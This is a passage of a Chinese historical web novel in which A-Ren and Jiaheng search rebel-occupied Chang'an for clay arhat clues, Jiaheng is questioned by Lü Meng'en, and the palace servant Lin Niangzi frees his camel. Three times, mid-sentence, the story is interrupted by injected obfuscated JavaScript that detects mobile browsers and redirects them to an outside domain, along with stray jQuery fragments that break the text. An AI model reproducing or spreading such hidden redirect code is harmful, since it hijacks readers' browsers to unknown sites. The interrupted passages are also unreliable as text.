两人拾级而下,没有和对方说话,直到大门口,被士兵拦下。阿忍将两件泥塑都藏在袖子里,但因为是胡服男装,袖子较窄,仍看得见有东西在里面凸起,只好贴在伽衡身后挡着。 “怎么样?去礼佛要这么久。” “还见了趟方丈。”伽衡道,“他说大吉。” 进城以来他的目光始终留在阿忍身上,现在才向周围展开去,好好看一看满目疮痍的长安。离开时它是世界中心,回来时内库烧为锦绣灰、天街踏尽公卿骨。街上除了叛军几乎没有什么人,尸臭从很远处飘来,即使每天烧也烧不干净。 他们还买了些干粮回去,店主没走成,被迫为叛军服务,见了他腰上的令牌忙说不要钱。伽衡丢下钱就走。回到云海间,看着空空如也的陈列架,他叹道:“闻辩这要损失多少钱......千万别发不起工资啊。” 阿忍总算是愿意跟他说话了:“闻先生去杭州做什么?” “不清楚,他和郑龟寿一起去的,出发前还让安金千万看好郑枥。现在安金和郑枥都不在都城驿,总觉得不太妙。”他这时才将一路上叔侄俩的手脚全盘托出,说到秦州馆吕老板的马的时候顿了一下。 吕老板?吕蒙恩?这该不是简单的巧合吧。 “不过郑枥也就是个心智不成熟的孩子,他纵使是跑了,最多让郑龟寿没什么把柄,总不至于对闻先生不利吧?” “担心闻辩就大可不必了,他是条老狐狸。” 她仍觉得感慨。纵使闻辩是老狐狸,也预料不到潼关会失守、圣上会弃城,一下发生这么多变故。他的妻儿还在长安呢,也不知道怎么样了;最重要的是红豆和曹沛沛,她这几日是一点踪迹也没寻到。现在伽衡有了令牌,她便要他得空就去找人。 伽衡把一张胡饼递给她,她撕了一半递回来,他偏不用手接,张开嘴巴。 阿忍拿袖子擦了擦桌子,把饼放桌上。伽衡只好拿起来,道:“这么一点你也吃不完......还生我气呢。” “你罪加一等!菩萨像面前怎么能乱说话。” “我没有乱说话,我真心的。” 阿忍被饼噎住了,连忙喝了口水,继续指责道:“那也要姿态恭敬。” “我说阿忍呀,”伽衡高高兴兴地凑过来,又贴着她坐下,“你在别人面前紧张的可爱,就对我严格,你待我总还是特别的。” 她默默地蹲在原地吃东西,决定不和他争执,自己总之是不会赢的,何况他说的对。商队里除曹沛沛以外的所有人都没管她,她一点儿也不介意,只是希望他们都能平安;到伽衡这儿就过不去了。 哎呀,而且那是我撕一半剩下的饼,怎么那么自然就给他吃呀! 她赧然低头,不敢看他,余光瞥见那对孔雀石又在他耳旁晃荡。汉族女子有种叫步摇的首饰,取其行步则动摇的意思,《讽赋》中有“垂珠步摇,来排臣户”这样的句子来赞美金属、珠玉互相碰撞所带来的视觉和听觉上的美感。她之前觉得步摇和簪子之类的发饰差不多,没有发觉到“摇”的美感,直到赠了伽衡这副耳坠。 两滴青翠永远在惹眼地晃动,她心尖也跟着打颤。 伽衡当然不知道她觉得他好看,他只以为这是一种约定,她不亲手解开,他就永远被这副精致美丽的耳坠锁着、不得自由。现在见阿忍不说话了,忙乘胜追击:“你能不能亲口说原谅我了?” “别嬉皮笑脸的。”她推开他,“曹沛沛、红豆还有我义父都失踪了,同伴们下落不明,咱们被困在长安也一日比一日危险,你不要这么不严肃。” 他顺从地往旁边让开一点,“好,严肃。咱们刚才拿到的泥塑是谁?” 阿忍把泥塑递给他,指着小罗汉额头上一个云蔽月的纹路,解说道:“他生于罗睺罗阿修罗王障蚀月时,又六年为母胎所障蔽,所以叫罗睺罗,‘障蔽’的意思。相传他是佛陀唯一的嫡子,所以下一步去哪里也很清楚啦——东宫。” “东宫被叛军把守的很严。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001945|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我想也是,唉,但还是要想办法进去呀。话说回来,如果王给事要通过几尊小罗汉把我们引向最终的目的地,他为什么不直接把最后一个提示给我,却让我们一个一个找,还去这么危险的地方?” “因为还有别的人在找,王维要把战线拉长,他希望你更快。” 她默默摩挲着小罗睺罗,泥塑不会说话,没法告诉她那个淡泊出尘的长者是怎样执着地要把一件真相告诉她。 “而且如果我猜的没错,”他继续说,“和那个吕蒙恩脱不开关系。他手里还有军队,我们要更加小心。我们最好半夜出发,毕竟走去东宫要很远。” “说起这个,我把巴瑞施玛放了,也不知道它怎么样了。我是想带着的,但是当晚......” “我知道我知道。我们在沙漠里经常把骆驼马匹杀来吃,还是人最重要嘛。” 她笑一笑。地窖里燃蜡烛不太安全,阿忍便将珊瑚扇抱在怀里,那颗珠子散发出的光芒将周围一圈都照亮。她之前拆了个柜门做床板,上面铺了几层包裹商品用的绒布,躺上去仍觉得硌得慌;现在她要给伽衡也做一个小床铺,伽衡说不用麻烦,他往地上一躺就能睡觉,况且天气热,地底下更是不透气。 阿忍只得作罢,指着自己地铺的斜对角,“你睡那里。” 然而对角距离她太远了,明珠的光照不到,伽衡走过去后就完全没入黑暗里,她连身影都瞧不清楚。“伽衡,”她轻声道,“你怕不怕黑啊?” 阴影中传来快乐的笑声,“我说怕的话,你会让我靠过去吗?” 她不搭话茬,听起来是不怕。“我们明天丑时动身吧,可惜长安现在不敲钟了,什么时候也不知道。” “教你一个办法,睡前一直惦念着过会儿要做的事,只会提前起,不会晚起的。” “真的吗?” “前提是不算太累。” 阿忍盘腿坐在地铺上,地窖里虽然气闷,但好歹阴凉,两人这样遥遥对着小声聊天让她莫名觉得愉悦安心。“好吧,那你现在就按照这个方法睡下,明日凌晨记得叫我。”她得到伽衡模模糊糊的一声“嗯”以后,便合眼开始默念地藏经,超度亡者是她每日必不可少的功课。 她知道是有用的。自己每念一个开头,便能听到些窸窸窣窣、若隐若现的声响,像抚弄窗纸声,又像有人在哭泣,激烈的悲恨向她铺天盖地而来;再念,杂念消散、心境澄明,一切动静渐渐安息,似有温暖的光明照彻通天的路途,那些人纷纷离去;结束时,远处有个遍体金光的身影静静站立着。 静虑深密如同秘藏,安忍不动如同大地。 这是《地藏十轮经》中对地藏王菩萨的形容,也是义父为她起名的出处。 她睁开眼,也不知道外面的天有多黑,对角一点动静也没有。阿忍忍不住走过去看他,拿袖子遮着珊瑚扇,怕亮光把他弄醒了。伽衡是侧着身子睡的,枕着自己的胳膊,安宁的神态和他平日对别人时别无二致,他只在面对她的时候有很多表情。 她第一次长时间的、目不转睛地看他,发现他可能才十八九岁。怪不得这样热情,还是个年轻的孩子呢,她想,然而自己的长相尤其显小,他肯定不知道自己比他要大。 阿忍轻轻走回去睡觉去了。果然还是不该睡太晚,她简直感觉自己刚闭上眼,下一秒就被摇醒了。不过别的什么人来唤她,她半天都清醒不了,伽衡的气息一靠过来便催着她的心跳奏出了长安钟鼓的气势。她立刻站起来躲开,盘头发的时候,看见他脸颊还有袖子上褶皱压出来的印痕。 22. 东宫 两人摸黑从木梯上爬出来的时候,漆黑一片,今夜连月光也没有。她跟在伽衡身后,伽衡突然不动声色地把她往下一推,下一秒就是陈列架被撞翻的声音,第三个人大喊了一声“什么人”,将他扑倒在地面扭打起来。 “解不寻?你三更半夜鬼鬼祟祟来干什么?” “我把东西放桌上就打算走的。赵娘子呢?” “我在这儿!谢谢你!”阿忍慌乱中半天没爬起来,现在才在地面上站直,“哎哟,你们两个怎么不说话就动手。” 解不寻点燃一根蜡烛摁在桌上,他手上提着篮子,蜡烛、衣物和纸袋包着的食物都有,三人借着烛光看清了对方。解不寻瘦了,脸上蒙着黑布,衣服下摆尽是血污泥垢,背后是一片细密的盐粒。阿忍微微蹙着眉。 伽衡立刻道:“你换件衣服吧,衣柜里有几件我的。” 解不寻也不跟他矫情,挑了件单衣换上,他背对着他们脱衣服时,背上似乎有一大片褐色的胎记。伽衡的衣服对他来说略大,不过也总比原先那件脏兮兮的好。他卷起袖口,本来打算替阿忍质问之前去哪里了,现在看来问题肯定已经解决了——谢天谢地。于是便问:“你们这个时辰要去哪里?” 阿忍便将事情原原本本说了一遍。解不寻爽快道:“我陪你们一起去吧,东宫那边人多得很......我要是现在不出现你们怎么办啊?” 阿忍笑眯眯捧场道:“我们会在现场叫一声‘解大侠’!” “我会穿着士兵的衣服混进去。”伽衡插到他们俩中间,“走吧。” 三人乘着夜色向东宫而去。路上解不寻传授伽衡,再有人突然闯入,他其实可以先把对方扑倒地上,然后不管三七二十一一顿打脸就好。哈尔也曾说两个人互殴,第一看有没有武器,第二就看体格,你就算啥也不干把对方压着就差不多了。伽衡有点好笑,轻声说:“我一个朋友也是这么教的。” “问题真的不大。”解不寻说,“太平年代嘛,大家其实都是瞎挥。你也可以带把刀,跟他们对着挥,反正你手臂长还力气大。哦,经验也很重要——你杀过人吗?” “没有。” 解不寻看出来了,他低声说:“我今天就杀了十二个,叛军都在找我。待会儿你先进去,我和赵娘子在外面躲起来,若有变故再喊本大侠。” 伽衡点点头。此时他们已经来到宫城外,里面灯火通明、还有隐约笙歌传来,想来必是孙孝哲等人在寻欢作乐。曾经皇城禁地、至尊庄严,如今城门大敞、满地狼藉。阿忍刚才一直在听他们聊天,不免紧张起来,对着路边的一具尸体双手合十,随即摘下了他的刀递给伽衡:“你还是带着吧。” 是一把相当长的□□,略有弧度,解不寻拔开看了看也说不错,伽衡便斜背在身后。 前方有一对站岗的叛军,即使离东宫还有相当一段距离,他们也不能再接近了。解不寻和阿忍留在这面墙后,伽衡朝她挥了挥手,转身走向巡逻队。 “我刚刚内急,离开了一会儿。” 袁悦是说哪里来的声音这么熟悉,一回头看见伽衡杵在人群前,吓得肝胆俱裂。“擅自离队,你跟我来。”他立即喝道,将伽衡带到一个拐角,压低声音说,“不是说接一位姑娘就走?跑这儿来做什么?” “姑娘有事要办嘛。能不能想个办法让我进东宫?” 袁悦是个友善、热情的小胖子,下巴上有一撮挺翘的小胡子,情绪激动时抖得格外厉害。现在就在抖。“今夜我的任务就是在皇城内巡逻。” “什么叫‘今夜’,以前不该你管吗,突然增加了人手?” “是的,今天下午刚刚通知的,吕中省就在里面。” 坏了,伽衡心道,吕蒙恩的人跟踪了他们。 他在脑中迅速重头梳理了一遍。首先,吕蒙恩大概和郑龟寿有勾结,因而知道王维有东西留在长安、需要交给阿忍,因此颁布了“抓住非法入城者赏金二十两”的命令。吕蒙恩没拦住阿忍进城,后来再次发现了她和自己的踪迹,同时也知道自己一直在假冒叛军,但他没有下达任何抓捕他们的命令,也没让属下互相认熟对方的面孔,而是任由他们行动......因为他需要他们把谜语破解到底。 而那位为阿忍拖下时间的老人,正处在四百里外的洛阳菩提寺里,身陷囹圄、药引不进。 伽衡拿定主意,道:“你就告诉我哪支队伍是去太极宫那一片儿的,然后在长乐门口备一匹马。” “要做什么啊,”袁悦无奈道,“我有份工作不容易。你要不说说要去干嘛,我也来帮忙想办法......” 什么叛不叛军、王不王师都无所谓了,袁悦自认是棵懦弱的墙头草,然而他这棵草是全家老小的大树。为此,他行事从来都小心谨慎,就算是爱好珠宝也只来来路清白的,至于说赌石、明器更是沾都不沾。伽衡是他的朋友,他不知道对方怎么看待自己的,反正伽衡是他的朋友,他愿意冒险给他一块令牌。 可若要再逾矩,就不是闹着玩的了。 他一时急得额头上都冒出汗珠。伽衡简直觉得好笑,又不是叫他冲进去杀了叛军首领,就指个路啊,他在怕什么? 哦,伽衡恍然大悟,他要钱。立即道:“明天我便将一两黄金亲自送到你手里。” 袁悦于是在此刻知道伽衡没把他当朋友。他一晒,拉着伽衡走出拐角,把他扔进一条队伍里,道:“下次内急要跟我打报告!你再加一圈巡逻。”言罢便转身向南边去了。 这支队伍直到日出时分才出发,走得很慢,还是从广运门往芳林门的方向绕最远的路线。他跟在队伍最后,想着小罗汉会在哪里。昨晚阿忍已经将自己所知道的罗睺罗的信息全告诉了他,问他有什么想法,他说佛陀真是个不负责任的爹。更何况佛陀娶妻生子的乐趣也体验了,出家求道的清名也收获了,自己两样全占,却不让弟子娶妻。 阿忍耐心给他解释,佛陀可没有禁止谁娶妻。普通人一沾染情爱就会上瘾,而佛陀即使沾染了情爱也对这种虚假的欲乐毫不痴迷,他的弟子应如是。所以现在说“清规戒律”的僧人都不算真正的僧人,他们把不吃荤腥、不近女色当成强硬的规则,而不是发自内心地对口腹之欲、刮骨情刀不感兴趣。就好比说,普通人也不会把“不能吃屎”当做教条。我们本来就不会。 自从玄奘取经归来,很多传奇、画本都爱编排他取经途中的故事,以“女儿国”这节最为喜闻乐见。经说书人的一番润色渲染,不懂佛法的人便认为“为苍生割舍爱人”就是慈悲心。 “那位远绍如来、近光遗法的玄奘法师,”阿忍道,“他就不可能有情人的。若是有情而逼迫自己无情,非但有妄念还不面对自己的本心,那才叫错上加错,直接顺从了自己的情也比这好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001946|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 错上加错。 伽衡当时在乐津津地听故事,他在前二十年的沙漠岁月里习惯了无聊,没人给他讲故事,阿忍虽然嘴里说着听听算了不靠谱但还是给他讲了第一个。如今走在这条漫长的巡逻路上,回想起阿忍末尾的沉默,他突然明白了点什么。 不过跟接下来要找的小罗汉没啥关系。 等一下再想别的啊,他告诫自己,等下再想阿忍,现在快想想小罗汉可能在哪儿。 队伍从玄武门门口经过,马上就要到东宫,然而他们走在道路中间,两边是绿植,宫殿更是远远的隐匿在庭院中。平日里干净整洁的露台也没人打扫,野果烂在上面,紫红色的汁液将絮叶茸针全部粘在上面,虫豸爬来爬去。偶尔有一两个女人经过,端着盘子,均是面带悲色。 犹是伽衡这样向来觉得事不关己的异乡人,也忍不住暗暗感叹。 他听见了身边的士兵在聊天。这支队伍的组成零散,有原始叛军,有中途招募的,还有长安俘获的,管理也疏松,好几个人和他一样托关系进入其中、旨在搜罗宫中的奇珍异宝、发一笔横财。 宫城外,阿忍和解不寻等到日上三竿,里面仍是什么动静也没有。广运门口有几队机动士兵,只要他们没去增援就说明里面没出什么乱子,而他们现在不仅一直没动,甚至三五成群地坐在地上休息聊天,因为长官不在。 解不寻本来抱着剑坐在地上闭目养神,阿忍保持安静,只是一直焦虑地绕自己的头发。烈阳升到头顶,晒到她受不了的时候,解不寻悠悠睁开眼睛:“我们到修德坊的墙外等吧,那里是阴的。” 她点点头。两人走过去了,解不寻又道:“我其实想起一件事,你听了别急——千万别急。下一个罗汉可能不在东宫里。当今圣上以前,皇太子都是住在东宫的,然而当今圣上即位后改变了旧制,令太子住在兴庆宫的一个角落里。我在想有没有可能是兴庆宫。” 阿忍还是有点急。她住在边陲,对皇家的一切故事都不知情,想不到父亲竟然忌惮亲生儿子到了这个地步。“那圣上逃——离开的时候是带了太子的吧?” “是的。不过不知道你听说过没有,十四日的时候,太子带兵离开了圣上,贵妃被逼自缢。大概算是一种报复吧,他一日东宫都没住过。”他活动了一下筋骨,又对她说,“我想去兴庆宫看看,你跟着我比较安全。” “解大侠,可是伽衡他要是......” “哎呀,你真的好喜欢他。” 她面颊微红,“这事关他的性命,不然我也不好意思这样麻烦你,你站好几个时辰了。”说着从随身挎着的布袋里拿出水和几块干糕,解不寻从来都不是讲客气的人,她给他便拿了。不过留自然是要留的。 另一边,伽衡刚完成一圈的巡逻,一无所获。袁悦不在,总有人向代理队长打报告说要去方便,回来时兜里鼓鼓囊囊不知道揣着什么。他也借口离开好几次,然而漫无目的,也只能在宫院的角落处找到些值钱的东西,罗汉像自然是不见踪影。队伍来到一处废弃的宫殿里,这里被改造成了他们休息的场所,他仍然不打算离开。一列女人端着篮筐进来,里面乘着些简单的食物,分发给士兵;其中一个丰满而高眉骨的中年女人走到他身边,用在场谁也听不懂的突厥语低声道:“你混进队伍里,是来搜罗珠宝的吗?” 他点点头。 23. 叛逃 那女人便在他面前席地跪坐,简洁有力地说:“你叫我林娘子便好。我一直在皇宫当差,知道宫里的珍品都藏在哪里,现在为叛军所俘,只求逃走。我们做个交易吧,我帮你找财宝,你下次轮休时带我出去。” 伽衡什么也不问,“嗯”了一声。 这一休息就休息到了黄昏,士卒们闲聊、睡觉、拿出藏在袖子里的骰子玩、逗女人,他始终背靠石柱坐着,看屋檐的影子随太阳方位的变化而变化。饶是林娘子这样的年纪也熬不过无聊,她本想找个地方眯一觉,然而四周都是叛军士兵,总放不下心来,遂小步踱道伽衡身边对他说:“我在这儿休息一会儿。” 伽衡点了一下头:“你睡。” 她是被靴子摩擦地面的声音吵醒的,抬头望去,天空已经被落日晕染成黄色。大家踢踢踏踏地排队走出去,伸懒腰、转动手腕脚腕,女人们抱着篮子退回去。伽衡再次跟在队伍最后,又是与昨天一模一样的巡逻路线,天完全黑下来的时候队伍才走完太极宫,一颗小石子被谁扔在了地上。 林娘子在一棵桂花树后朝她招了招手,伽衡看准时机,飞快地溜了过去。林娘子带他走的是一条林中小径,她熟练地跨过每一截 被埋在长草中然而突出的树根,就像一个小姑娘对她玩耍的后院那样熟悉;而他不得不全程佝着背,一边摸索着那些矮灌木的位置一边走,蝉鸣刺得他头昏脑涨。 树木渐渐稀疏了,前方是一片稀稀拉拉、无人治理的空地,无比熟悉的气味远远飘来。又领着他走了一段距离,林娘子才指着一处被锁上的棚门说:“这里原来是圣上的马厩。你听说过《夜照白图》吧?大名鼎鼎的画师韩干所画的胡种马照夜白曾经就被养在这里,是圣上当时最喜欢的坐骑。城破后,御马要么被人盗走、要么自己挣脱跑了,现在这里养的都是叛军的马,当然啦还有抢来的牛、驴子、骡子、骆驼之类的。” 马厩中的牲畜踢踏着木栏、引颈嘶鸣,互相撞得铃铛乱摇乱想,各种声音如上涨的潮水般拥进他的感官。 他只是说:“把牛和马养在一起是不好的。” 林娘子好像还在等他开口,然而他再没说什么。她带他绕着马厩走了大半圈,换了个方位,进了另一片树林,指着远远的尖顶道:“很久以前,韩国夫人进宫来找贵妃相会,在这里搭了一座凉亭,名叫落云亭,因为宝顶上雕刻了祥云纹。云是祥瑞,象征着杨家世世代代荣华富贵享用不尽。她们把一尊透明玛瑙藏在这里,以供喝酒赏月时欣赏其光泽。” 他们踩着没膝的长草走到亭子前,一共有八根朱漆剥落的檐柱,柱底内侧都有一个铜制龙头,其嘴部对着石板地上的凹陷纹路,直达亭中央的雕花石桌底。伽衡蹲下检查了一番,发现落云亭就是一个放大版的地动仪——现在有些人家还喜欢收购古董地动仪做装饰。龙头嘴里原来是有金属珠子的,应该是几天前才被人盗走。 林娘子同意了他的猜测:“就是这样。你别看落云亭建在风景不怎么好的林地里,还有蚊虫,它的选址可是经过精密测算的。每到子时,三大内都会敲钟,而每口钟距离此亭的距离都一样,钟声齐鸣时会引起震动、使八龙吐珠,牵动机关,石桌的活动板会自动打开,将透明玛瑙璧缓缓升起。” 子时。伽衡仰头看了看宝顶内的云纹,月上中天,云蔽月。 林娘子密切地注视着他的一举一动:“怎样?吕蒙恩占领宫城后恢复了敲钟,你要不要等着到时候取玛瑙。” “恐怕玛瑙早就被别人取走了吧。后来放进来的小罗汉也被取走了。”伽衡漫不经心地走到桌子前,抠了抠中间的活动板,“别试探了,你要把我引到吕蒙恩面前就直接走。” “你知道吕蒙恩派我来的?” “你也没想隐瞒啊。” “孩子!”她上前一步急切地抓着他的胳膊,“吕蒙恩子时会来,你要的东西在他那里,你必须见他一面——他只是想问几个问题。只是切记别说你会辨驼铃,也能在那么多牲畜的叫声中听得出你的骆驼,好吗?他知道了会杀了你。” 伽衡低头看她,女人毫不畏惧地直视着他的眼睛。 “你是在帮我吗?”他轻声道,“能不能告诉我为什么?” “我自从长安沦陷以来就像叛军献殷勤,如今吕蒙恩完全信任我。我是一个女人嘛,他们不会觉得女人是需要防备的,因此也能在端茶侍水时捡个耳朵。起初是一队叛军巡逻的时候,有个小孩从窗户里伸出只手来握着颗随珠,声称要见吕蒙恩,他们就将此事报了上去。吕蒙恩听闻后立刻找到这个小孩,好生待之,并将看管他的胡人抓了起来。我当时在门外,听吕蒙恩说‘真要是他就麻烦了’之类的话,小孩一问三不知。今早吕蒙恩就知道你来了,命我来试你。” “谢谢林娘子冒险提醒,此事本与你无关的。” “怎么无关?”她笑道,“他是叛军,我是唐人。 伽衡也笑了,“那是。只可惜我的骆驼了,它叫巴瑞施玛,很聪明。” 两人又各自默默想着心事,月亮快要爬到正空了,人站在亭子里只能看到边缘的轮廓和一圈银光。按吕蒙恩的吩咐,林娘子该回去复命了,伽衡叫住她:“之前那个交易,你说要我带你出去......” “其实我不想出去的。外面危险,”她说,“而我只会修剪树枝。” 林娘子低头钻回树林里,头顶的枝叶将月光挡得严实,脚下盘根错节的藤条隐匿在浓稠的黑暗里。在童年无数个漫漫长夜里,她把它们假想成自己从未见过的山川沟壑、河道湖泊,自己与自己玩探险的游戏。小树没有名字,只是一个劲儿往上长,林娘子也没有名字,她和小树一起长。 介绍进来的王公公叹道,进了这宫门,到死也不能出去了。 小树长成了大树,枝叶亭亭如盖,不透月光也不透空气,把她的对生活与宫外世界的一切热情、幻想全给闷熄了。她的青春在无望中蹉跎殆尽,出宫,也不过是一块木头朽在墙里和朽在墙外的区别。 在路的尽头,吕蒙恩背着手等她,“如何?” “他听不出来。” 吕蒙恩面无表情地点了点头,“你回宫等我吧,把洗澡的热水烧好。” 她往回走,在离城墙近的地方可以闻见大街上飘来的血腥和尸臭味。大明宫修在高地上,以前那是庄严华贵、紫气萦绕之所在,今日叛军在里面数着内库里搜刮出来的赃物,逼迫王女妃嫔们跳舞、苟合。她的青春与美貌都被无望的岁月消磨去了,所以躲过一劫。之前的日子安稳到无聊,现在吕蒙恩身边的安稳可是外面的乱世人求之不得的。 可我当真不想走吗? 鬼使神差地回到了马厩,她知道西南面有个老鼠洞,用力一抠碎木屑就往下掉,最终抠出了一个可供人进出的大洞。林娘子趴在地上钻进去,蚊虫在半空中成团飞舞,空气中弥漫着腐烂物和胃液混合的臭味,反刍声、嘶鸣声不绝于耳。她走到那头格外显眼的白骆驼面前,白骆驼已经脏成了灰骆驼,然而脖子上系着的那颗饱含主人爱意的铜铃却不曾丢失。骆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001947|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驼不叫,也没有尾巴可以甩,只是斜躺在地上拿一双巨大的眼睛瞄她。 “巴瑞施玛。”她用和伽衡一样纯正的突厥语说。 白骆驼翻身站起来,顶着身边被虫蛀的木柱发出嘎吱声。 “你知道你的名字什么意思吗?”林娘子说,“不求和平者。” 不求那虚假的、肮脏的、卑劣的和平。 与此同时,伽衡坐在落云亭里听到了子时的钟声,石桌面打开,里面缓缓伸出了个空托盘。吕蒙恩踩着钟声而至,真可恶啊,他想,自己本来就难辨汉人脸,这吕蒙恩还长得如此没有特点,叫自己好记。伽衡本来不打算站起来,以此表示自己的态度;又发现吕蒙恩在俯视他,这可不好,他立刻站起来俯视吕蒙恩,同时还在努力记他的脸。 “我以这样的方式邀你前来,”他轻声道,嘴里含含糊糊的,“是不想惊扰赵娘子,也请你原谅。只有几个问题,你回答完便可从我这儿拿走小罗汉。” “你生于何时何地,是什么人?” “生于开元二十五年,是石国的粟特人。” “那为何叫‘伽衡’这样的怪名字?” “呀,你好没文化。”伽衡奇道,“‘伽衡’作为法号是很常见的,长安众寺中都能找到好几个伽衡法师。我幼失怙恃,被僧人收养,也随他改了名。” 吕蒙恩也不恼,沉吟片刻又问:“你与赵娘子之前认识吗?” “不认识。若早几年认识,她现在已经是我妻子了。” 不过是个没脸没皮、爱说混账话的无赖而已,吕蒙恩思忖着,何况他刚刚得知“伽衡”这个名字很常见,更是疑虑全无。他从袖中摸索出一个小罗汉泥塑,面无表情地说:“我并非是信了。如今在长安,我为刀俎,诸君皆是鱼肉,记清楚你们的一举一动都在我的掌控中。” 伽衡接了过来,验过是赵无量的刀法才收入怀中。他不敢相信来的这么轻易,生怕吕蒙恩反悔,又说了几句乱七八糟的话就原路返回,一离开吕蒙恩的视线就飞跑起来。刚跑出几步,他的耳朵便敏锐地捕捉到了远方的响动——牲畜奔跑的声音。 吕蒙恩在两秒后也听到了,他愣了一会儿,突然大叫起来:“那个女人背叛我了!先别管她,把伽衡抓起来!” 兵器和盔甲磕碰的声音和喊叫被掩盖,林娘子抱着巴瑞施玛的脖子,任凭它像个战士一样带着自己踢破门板而出——马固然是跑起来最快的,然而这峰山一样的骆驼跑起来无人可挡。被割断套绳的畜群蜂拥而出,那些被关押已久的牛马横冲直撞,跑得大地都震动起来,将围追堵截的士兵踩倒一片。林娘子闭着眼睛,有温热的液体溅到脸上,巨蹄踩断骨骼的嘎吱声不绝于耳,巴瑞施玛的肌肉在身下来回有力地耸动,波走起伏,像涌流的山峦。 策马而来的叛军被牛顶飞出去,就连马的前胸都被戳出两个血窟窿,和牛一起嘶鸣着倒了下去,林内一时血肉横流、土木震动。巴瑞施玛果然很聪明,甚至很有主见,才不管林娘子怎么拽缰绳,寻着主人的气味而去。 她远远就伸出手,待巴瑞施玛跑近时伽衡朝她喊了一声“往前靠”,随即拉住缰绳原地跳了上去。巴瑞施玛鼻孔被小木棒勒出血了,却很兴奋,打着响鼻向前跑去。林娘子原本还以为伽衡要怪她突然改主意,害他涉险,然而他只是笑道:“还打算拉我上来吗?这个速度,要把你拽脱臼。” 她坐在驼峰和驼肩中间,伽衡坐在驼峰后揽着缰绳,他回头看了一眼,畜群中跟来了些追兵,正在搭箭上弓。 24. 尝血 林娘子手中没了缰绳,只好扑向前抱着骆驼脖子不敢动弹,遥远的地面轰隆隆地向后撤走。她感觉伽衡把什么东西塞到了自己腰带里,他在她耳边轻声道:“巴瑞施玛把你带给谁,你就把此物交给谁。” 她还没来得及说话,缰绳就交还到自己手中,原来只剩一根线连着的断处已经被死结加固好。伽衡在骆驼颠簸的背后站起身,突然一跳,落在了一匹红褐马身上;红褐马受不住这样大的冲击力,脖子抻着向前翻去,他快要滚落在地的时候双手抱住了前面一匹花斑马的肚子,飞快地翻了上去,然而红褐马的蹄子仍然重重地落在了他的背上。 刹那间他下半身麻的动不了,下一刻一支箭贴着脸擦过,他提起一口气狠狠一蹬马肚子,与巴瑞施玛分道而行。 林娘子原来听身为突厥人的父亲说骆驼犯起犟来三个男人都拉不住,现在才切身体会到,那根缰绳原来是用来让人保持平衡而不是操控方向的,任她如何拉都没用。巴瑞施玛见主人往别的方向而去,立刻就要追——下一秒哨音响起。它迷茫地又往前小跑了几步,哨音越来越远,却一直响着,是“驱逐”的意思。 林娘子再扯缰绳,它便遵从了。 跟在红褐马身后的畜群越来越少,追兵却渐渐汇合,虽然说其中有弓箭的还是只有那几个,但伽衡还是感觉不妙。不过无所谓,小罗汉还是能交到阿忍手上的,现在只是事关自己的生死而已......压力顿时减轻不少。 嗖嗖又是几箭过来,追兵的箭也不多,射得很仔细。他把马脖子往下一掼,逼得花斑马跳起来尥蹶子,几支箭就插在了它屁股上,还有一支射中了他后背,卡进了骨头。花斑马发怒了,一边嘶鸣一边势如破竹地奔腾起来,伽衡正求之不得,催着它向长乐门而去。 已经看到那扇宫门了。门口没有马。 其实袁悦是备了的,只是那匹马又没被拴住,听见畜群的叫声便循声而去了......不重要,伽衡也不会知道了。他心里倒没什么感觉,当初找袁悦也是抱着碰碰运气的心态,没运气也只好自认倒霉。此时一个士兵从旁道闪过来,挥刀狠狠向马腿砍去,花斑马哀叫着摔倒在地。伽衡向前滚了一圈站稳,面对着下马的众人,手摸到刀柄上。 虽然不会,但是气势要足。 这把陌刀相当长,普通人没法从背后拔出来,然而伽衡的手臂逐渐拉直,竟真拔了出来。一时间他披头散发、高鼻深目、手持长刀,宛如嗜杀的阿修罗。士兵们的箭用完了,谁也不敢靠近。 伽衡在这样紧张的场合里居然有点想笑。他努力憋着,挥刀向前,又重又长的钢刀竟然出乎意料的趁手,用它来挡劈头盖脸而来的两剑真的稳稳当当接住了,金石之声几乎叫他迷恋;再使力,便能震落他们的剑。这五人分明也是乱挥的,世上大多人都是乱挥的,他也在乱挥,但是他似乎很熟悉这一切......这一切。 他背靠墙壁,竟真的抵抗了一阵,趁着其中一人失血倒下的时候跑出了长乐门。腿很麻,跑不快,他边跑边回身招架,心情其实还挺轻松。这里只有他一个人,他什么都不在乎,只在乎在眼前的一招一式,从与这四人的对峙中源源不断地改进着。更多的追兵从远方出现了,他也不在乎。以至于解不寻从天而降、身法如游龙,瞬间全部杀掉的时候还没有反应过来。 解不寻很无语,他想说你又不喊解大侠我找你可找了好久!扭头看他,他满脸是血,红红白白中,一双绿色的眼睛奇亮。 